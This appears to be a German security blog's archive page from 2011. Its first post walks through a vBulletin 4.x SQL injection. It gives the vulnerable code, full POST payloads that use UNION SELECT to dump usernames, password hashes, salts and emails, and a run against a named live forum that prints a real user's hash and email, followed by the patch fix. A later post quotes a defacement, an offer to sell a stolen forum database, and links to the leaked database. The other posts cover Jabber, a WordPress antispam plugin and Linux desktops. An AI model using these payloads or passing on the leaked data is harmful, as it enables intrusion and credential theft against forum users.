vBulletin® 4.x SQL Injection Vulnerability

Ahoi,

Seit dem letzten Knueller von vBulletin, habe ich eigentlich nicht mehr mit einer gravierenden Luecke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veroeffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.

Interessant ist beispielsweise, dass es folgende Versionen betrifft:

vBulletin Publishing suite

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

vBulletin Forum classic

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6 PL1
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hoert sich interessant an - ist es auch! Wo befindet sich die Luecke?

Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Luecke ist aber die gleiche.

Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{
			//If we have an array, we have to use equals.
			$sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key IN (" . implode(', ', $id) . ")";
 
			if ($rst = $vbulletin->db->query_read($sql))
			{
				while($row = $vbulletin->db->fetch_row($rst))
				{
					$names[] = $row[0];
				}
			}
 
			if (count($names) > 0)
			{
				return $table_display . ': ' . implode(', ', $names);
			}
		}
		else
		{
			//If we got here, we have a single value
			if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key = $id"))
			{
				return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
					. ' ' . $row[0];
			}
		}
		return "";
	}

Vorallem die Variable $id ist nun fuer uns interessant, da sie in dieser Datei nicht gefiltert/ueberprueft wird.

Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:

vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
					'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));

Wenn wir das nun mit der obigen Funktion vergleichen:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{

Wird es diese wohl sein 😉

Wie nutze ich das nun aus?

Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Moeglichkeit zeigen. wie ihr die Luecke ausnutzen koennt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (fuer Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.

Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, waehlen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.

Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum

Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

*Screenshot1*

Einen Treffer gibts auch:

*Screenshot2*

Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=

Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #

Und sieh an, sieh an:

*Screenshot3*

Eine eindeutige Ausgabe 🙂

Nun kann man zum Beispiel so weiter machen:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#

und siehe da:

*Screenshot4*

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:[email protected]

Quasi owned 😉

Wie behebe ich die Luecke?

Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):

/vb/search/searchtools.php

		$id = $vbulletin->db->sql_prepare($id);
		if (is_array($id))
		{

Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die

/includes/class_core.php

editiert werden, naemlich:

Alt (Zeile 750):

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Neu:

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else if (is_null($value))
		{
			return "''";
		}
		else if (is_array($value))
		{
			foreach ($value as $key => $item)
			{
				$value[$key] = $this->sql_prepare($item);
			}
			return $value;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Soviel dazu erstmal, wuensch euch noch eine tolle Woche, mein naechstes Linux Tutorial folgt am Wochenende!

// Hinweis: Der Eintrag war damals http://j0hnx3r.org/?p=818 und ist nun ueber https://j0hnx3r.org/?p=818 bzw https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/ erreichbar

HBA-Crew.to hacked!

Seit ein paar Stunden erhaelt man folgende Nachricht auf HBA-Crew.to:

Hacked by a pro of szene

Entschuldigt bitte, aber das konnten wir uns nicht nehmen lassen. Das ist also der von fred777 100% abgesicherte Server? Ein schlechter Scherz, mehr nicht…
Was habt ihr mit MyBB gemacht? Ihr enttäuscht uns.
Es werden keine IP’s gespeichert?

Wir haben euch kein Geld geklaut! Ihr User sollt nicht für den Mist bestraft werden den die Admins verbockt haben.

Solltet ihr an der Datenbank interessiert sein mit allen User / Passwort Hashes, dem 2nd & 3rd Level, und natürlich allen IP’s kontaktiert:
[email protected] ohne User Hashes und IP’s = 100 €
Datenbank unzensiert = 250 €

Die Administration kann uns gerne auch ein Angebot unterbreiten 😉

Bitte lasst euch das eine Leere sein und seid nicht so dumm wie carders!!

Man beachte das Wort “Leere” – wenn man schon vorgibt ein “Pro” zu sein, sollte man auf den ein oder anderen Fehler aufpassen – aber kann ja vorkommen.

Der zweite “Fehler” ist, dass die Datenbank fuer 250e (wtf?!) verkauft wird. Es steht noch nicht fest, ob die Trolle im Besitz der DB sind, Geld kann man so aber natuerlich schnell machen.
Da die Happy Ninjas natuerlich nicht wollen, dass Trolle Geld von Usern einkassieren, fuer Dinge welche sie schon lange besitzen (und womoeglich frueher oder spaeter publizieren wollten), haben sie eine Nachricht veroeffentlicht, welche ich euch nicht vorenthalten mag:

 447d843c775b0aab65b2801f1bdef9d7e1ced8fc
 
Sadly hba-crew has been owned today by some other moron (apparently an
inside job).  We  have to agree with the  defacement page  in that the 
server wasn't secured very well. However we cannot agree with that guy 
selling their database backup for ~250€.  Under these circumstances we 
are  forced  to publish  our own backup from their  forum, which dates 
back to approximately one month ago.  As you see,  hba-crew  has  been 
backdoored by us for quite a while;  actually since the first day they 
went back online.  We are sorry that this  is not an exp03 either. But 
do not shed hope.  Here is the hash that *hopefully* will be published 
in our next ezine: 49bd4433fff1b04530dcaff1f52fa971ff895871  
                                                    - the happy ninjas
 
ul.to mirror (sorry that anti-leech is down):
uploaded.to/file/70bsc2z8

Quelle: http://pastie.org/pastes/1749079/text?key=jraph3igo5n04x57hjizw

Wie ihr sehen koennt, erfolgte auch die SHA1 Hash Bestaetigung, um zu beweisen, dass der Text von den Happy Ninjas stammt und ich mir so etwas nicht ausdenke 😉

Ein Mirror (falls der Uploaded.to mal down/deleted sein sollte) ist hier: *klick*

Was bleibt noch zu sagen? Finde die Reaktion der Ninjas gut, die DB nun zu veroeffentlichen, damit keine anderen Trottel damit 250e kassieren (wenn sie ueberhaupt wirklich im Besitz der Datenbank sind). Abgesehen davon bin ich nun auf das Statement der Administration von HBA-Crew gespannt 🙂

Wuensch euch nen schoenen Sonntag!

Jabber – die Alternative zu ICQ & Co

Wie damals bei meinem OTR Tutorial kurz angedeutet, kann man natuerlich auf eine OTR Verschluesselung auch verzichten, jedoch muss man dann nicht unbedingt auf die Sicherheit verzichten. Eine wirklich tolle Alternative zu den bekannten Messengern (ICQ, MSN, Skype,..) bietet euch Jabber. Leider hat es sich trotz der ganzen Vorteile noch nicht richtig durchgesetzt, wohl wahrscheinlich aus dem Grund, dass ICQ & MSN bei Instant Messaging “Marktfuehrer” sind und es leider zu wenig Jabber User gibt. Vielleicht teilweise auch Unsicherheit oder Unwissenheit der User? Das soll mit diesem Blogeintrag nicht mehr lange so bleiben!

Was ist Jabber?

Jabber ist die Bezeichnung fuer das “Extensible Messaging and Presence Protocol” (kurz XMPP; auf Deutsch uebersetzt etwa “erweiterbares Nachrichten- und Anwesenheitsprotokoll”). Es ist ein als “Request for Comments” ( RFC 3920–3923 ) veroeffentlichter Internetstandard und wird hauptsaechlich fuer Instant Messaging genutzt.

Warum Jabber?

Es gibt sehr viele Vorteile gegenueber anderen Messengern. ICQ, MSN und Co sind so gesehen “Closed-Source” und beinhalten fiese Tuecken in ihren Nutzungsbedingungen – das Beispiel zu ICQ zeigte ich bereits damals schon, aber auch gerne noch einmal:

You agree that by posting any material or information anywhere on the ICQ Services and Information you surrender your copyright and any other proprietary right in the posted material or information. You further agree that ICQ LLC. is entitled to use at its own discretion any of the posted material or information in any manner it deems fit, including, but not limited to, publishing the material or distributing it.

Aus http://www.icq.com/legal/policy.html

Abgesehen davon ist es ICQ Nutzern beispielsweise nur moeglich andere ICQ Nutzer zu kontaktieren.
Da das Jabber Protokoll offen entwickelt und dokumentiert ist, kann prinzipiell jeder einen Jabber Server selber aufsetzen und nutzen. “Jabber” gehoert somit niemanden und es ist problemlos moeglich untereinander zu kommunizieren, egal auf welchem Server sich der “andere” befindet.

Die Entwicklung von Jabber ist aktiv, offen und es gibt eine menge Clients, welche das XMPP Protokoll unterstuetzen.

Natuerlich unterstuetzt auch Jabber beispielsweise die OTR Verschluesselung und so ist es nicht nur moeglich anonyme Server zu verwenden, sondern noch extra verschluesselte Nachrichten auszutauschen.

Wie kann ich Jabber verwenden?

In erster Linie ist es natuerlich (wie bei anderen Messengern auch) wichtig, einen Jabber-faehigen Client zu besitzen – sprich einer der das XMPP Protokoll unterstuetzt.

Es gibt einige “reine” Jabber Clients:
– Psi (Mac OS X, Unixoide, Windows)
– Spark (Mac OS X, Unixoide, Windows)
– Gajim (Unixoide, Windows)

Aber auch Multi Messenger, welche u.a. Jabber unterstuetzen:
– Pidgin (Mac OS X, Unixoide, Windows)
– QIP (Windows)
– Miranda IM (Windows)
– Trillian (Windows)
– Kopete Instant Messenger (Unixoide)
– Adium (Mac OS X)

Als naechstes brauchen wir eine Jabber-ID (JID), diese ist im prinzip so aufgebaut wie eine eMail Adresse, naemlich username@domain – nun kommt eine der schwersten Entscheidungen, naemlich wo man sich eine JID anlegen moechte. Es gibt inzwischen viele Jabber Server um euch eine kleine Auswahl der bekannten zu geben:

– CCC Jabber Server (jabber.ccc.de)
Jabber.org
– SwissJabber.ch
hier ist eine Liste mit vielen anderen Servern

Jabber am Beispiel von Pidgin nutzen

Da ich selber Pidgin als Messenger benutze, werde ich euch noch schnell eine “Kurzanleitung” geben, um einen Jabber Client unter Pidgin hinzuzufuegen (ich benutze den Client auf Englisch):

a) Unter Accounts klickt ihr auf “Add”
b) Protocol: XMPP auswaehlen
c) Username: euren gewuenschten Usernamen eintragen
d) Domain: hier den Jabber Server eintragen, beispielsweise jabber.ccc.de
e) Resource: Ist ein optionales Feld, bei mir steht Beispielsweise “Fedora” drin, ist aber Wurst was ihr da eintragt.
f) Password: Dort kommt euer gewuenschtes Passwort rein – Haken bei “remember passwort” kann rein
g) Wenn ihr noch keinen Account bei dem Jabber Anbieter habt (in diesem Fall jabber.ccc.de), dann klickt ihr auf “Create this new account on the server”
h) Die restlichen Angaben sind optional, ein klick auf “Add” reicht, um den Account hinzuzufuegen und ggf. muesst ihr die Registrierung bestaetigen – sprich Username & Passwort nochmal eingeben.

Das wars dann, viel Spaß mit eurem Jabber Account! 🙂

Falls ihr noch Fragen oder Probleme habt, koennt ihr gerne einen Comment hinterlassen, Jabber ist meiner Meinung nach eine echt tolle Sache, welche leider von viel zu wenig Leuten genutzt wird, daher haben vorallem “Neulinge” bei dieser Sache meine vollste Unterstuetzung.

Ihr wollt noch mehr zum Thema “Jabber” wissen? Einige interessante Links sind noch hier:
Jabber – Wikipedia
Jabber Piratenwiki
Jabber – die freie Alternative

Wuensch euch schonmal ein tolles Wochenende!

Probleme mit Spam? Antispam Bee!

Jeder kennt das Problem, der einen Blog betreibt, frueher oder spaeter haeufen sich einfach Comments von Spambots. Jeder denkt sich nun “Akismet regelt!”, doch vorallem in DE scheint Akismet “grenzwertig” zu sein, aufgrund vom Datenschutz.

Doch wer nicht auf Akismet setzen moechte oder kann, fuer den gibt es eine tolle Alternative, naemlich die Antispam Biene 🙂 Ich benutz die Antispam Bee seit 5. Maerz 2011 (also seit genau 3 Wochen) und bin eigentlich ziemlich begeistert davon. Es ist nicht wie Akismet einfach 0815 und jeder verwendet es, sondern besitzt viele Features die es zu einem interessanten Plugin machen, welche ich euch heute vorstellen moechte.

Was ist die Antispam Bee und wie funktioniert es?
Die Antispam Bee ist ein “frisch entwickeltes” Antispam Plugin fuer WordPress, welches “winzig im Code, prompt in der Ausführung und erstaunlich wirksam beim Schutz gegen automatisch abgeschickte Spambeiträge” ist. Zur Funktionsweise kann man sagen, dass das Kommentarfeld vom Plugin ersetzt wird.

Features
Woran unterscheidet sich Antispam Bee von existierenden Lösungen?

Features
Woran unterscheidet sich Antispam Bee von existierenden Lösungen?

  • Antispam Bee speichert keine IP-Adressen (Datenschutz-konform).
  • Antispam Bee schließt Kommentare aus gewünschten Ländern aus.
  • Antispam Bee lernt dazu und nimmt bereits markierten Spam als Quelle.
  • Antispam Bee beschränkt auf Wunsch die Sprache des Kommentars (Deutsch oder Englisch).
  • Antispam Bee gleicht Kommentare mit öffentlicher Spammer-Datenbank Project Honey Pot ab.
  • Antispam Bee kann bereits genehmigten Kommentatoren vertrauen.
  • Antispam Bee verfügt über zahlreiche, administrierbare Schutzmethoden.
  • Antispam Bee präsentiert die Gesamtzahl der blockierten Spam-Kommentare auf dem Dashboard oder im aktuellen Theme.
  • Antispam Bee besteht aus wenig Code und verbraucht kaum Ressourcen.
  • Antispam Bee kommt ohne Captcha- und Mathe-Abfragen aus. Kein JavaScript, keine Cookies, keine Timeouts.
  • Antispam Bee führt keine Listen mit verdächtigen Kommentaren.
  • Antispam Bee nimmt die notwendige Anpassung am Theme selbstständig vor, ohne das eigentliche Template zu überschreiben.
  • Antispam Bee schützt vor Spam in Kommentaren, Track- und Pingbacks.
  • Antispam Bee zeigt den Spamaufkommen der letzten 30 Tage in Form einer Statistik auf dem Dashboard an.
  • Antispam Bee ist anonym, keine Daten werden auf externen Servern gespeichert.
  • Antispam Bee bedarf keiner permanenten Administration.
  • Antispam Bee markiert auf Wunsch verdächtige Beiträge als Spam. Oder löscht diese stillschweigend.
  • Antispam Bee entfernt bei Bedarf den alten Spam nach X Tagen.
  • Antispam Bee benachrichtigt bei (Spam-)Neuzugängen per E-Mail.
  • Antispam Bee ist auf keine weiteren (Antispam-)Plugins angewiesen.
  • Antispam Bee ist an dieser Stelle vollständig dokumentiert.
  • Antispam Bee ist in fast 10 Sprachen verfügbar.
  • Antispam Bee ist für WordPress ab 2.7

Vorteile gegenueber Akismet
+ Kostenlose Nutzung
+ Keine Speicherung der Daten im Ausland
+ Anonyme Nutzung ohne externe Listen
+ Keine Registrierung notwendig
+ Prüfung von Trackbacks
+ Benachrichtigung bei neuem Spam

Ich habe nun nach 3 Wochen 484 geblockte Comments und joa, gefaellt mir richtig gut dieses Plugin.

Interesse geweckt, du willst mehr darueber erfahren?
http://playground.ebiene.de/1137/antispam-bee-wordpress-plugin/
Hier gehts zum Plugin

Linux – Umstieg auf ein freies Betriebssystem Teil 3

Ahoi,

heute folgt Teil drei meiner “Tutorialreihe”, wollte eigentlich schon ein paar Distributionen vorstellen, aber das waere vom Zusammenhang nicht passend, wenn ich keine Benutzeroeberflaechen vorstelle und man sich bei Ubuntu / Kubuntu / Xubuntu dann denkt “hö?”. Uebrigens hatte ich bei Teil 1 vergessen zu erwaehnen, dass ich natuerlich auch eine Installation anhand von 2 oder 3 Distributionen mit euch durchgehen werde (aufjedenfall von Ubuntu & Fedora).

Linux Benutzeroberflaechen (desktop environments)

Gnome
+ sehr Benutzerfreundlich, bringt viele Programme mit (gedit, gparted, gnote,…)
+ wird bei vielen Linux Distributionen standardmaessig eingesetzt (Ubuntu, Debian, Fedora, … – wobei man das ja auswaehlen kann)
+ kostenlos
+ viele Sprachen verfuegbar
+ bietet vieles an Support und eine große Community
– verbraucht vergleichsweise doch mehr Ressourcen als andere desktop environments

Das Logo: *klick*
Screenshot: *klick*

KDE
+ voll funktionsfaehig, bringt ebenfalls viele Programme mit (konqueror,..)
+ kostenlos
+ in vielen Sprachen verfuegbar
+ aehnlich zu Windows / Mac OS X
+ vorallem in Europa “beliebt”

Logo: *klick*
Screenshot: *klick* (wobei das leicht veraltet ist)

Xfce
+ bringt eine Reihe von Anwendungen mit (Xfburn, mousepad…)
+ im Vergleich zu Gnome & KDE ist es sehr “schlank”
+ kostenlos
+ sehr schnell
+ stabil
+ eignet sich hervorragend fuer aeltere Hardware
+/- langsamer Entwicklungs-Zyklus

Logo: *klick*
Screenshot: *klick*

Fluxbox
+”schlank” & auf BlackBox basierend
+ besitzt eine eigene Toolbar
+ eignet sich hervorragend fuer aeltere Hardware
+ tiefe Konfigurationsmoeglichkeit
+ kostenlos

Logo: *klick*
Screenshot: *klick*

LXDE (Lightweight X11 Desktop Environment)
+ einfache Bedienung
+ bietet mehr als ein “einfacher Fenster-Manager” ist jedoch trotzdem Ressourcenschonender
+ bringt ebenfalls wieder Programme mit (LXpanel, LXNM, …)
+ eignet sich auch fuer aeltere Hardware

Logo: *klick*
Screenshot: *klick*

Das sollte denk ich erstmal reichen, es gibt natuerlich noch viel mehr, zu den schlankeren gehoert sicherlich openbox, windowmaker, twm, fvwm2 oder komplett neue Dinge wie ion, wmii oder dwm.

Fazit:
In diesem Fall gibts keine “gute” und keine “schlechte” Benutzeroberflaeche, jeder kann einfach das benutzen was er moechte und was ihm am meisten zusagt. Wer es gerne unkompliziert und kompakt moechte, schaut sich einfach Gnome oder KDE an. Wer nen aelteren PC hat oder sagt “das ist mir zu voll” schaut sich Xfce zum Beispiel mal an. Natuerlich kann man sich auch mehrere Benutzeroberflaechen installieren und vorm einloggen dann auswaehlen, welche man starten moechte. Hier zeigen sich mal wieder die Freiheiten von Linux, jeder kann den Desktop benutzen der ihn am meisten zusagt und diesen nach seinen Wuenschen anpassen.

Vorallem “leete” Leute setzen ja stark auf schlankere Desktops, wobei ich auch viele Leute kenne die gut mit Gnome beispielsweise zurecht kommen bzw. denen das voll und ganz reicht und was bringt es einem wenn nur der Desktop l33t ist und die Person davor nicht 😛

Soviel dazu erstmal, zu Desktop Environments kann man so viel gar nicht sagen, Bilder sagen mehr als tausend Worte, daher sollte man sich vorallem die Screenshots der verschiedenen Desktops anschauen.

Der naechste Teil kommt wahrscheinlich naechste Woche, diese Woche werd ich euch noch meine Erfahrungen zur Anti Spam Bee und ein paar Woerter zur Landtagswahl sagen.

Wuensch euch noch ne tolle Woche 🙂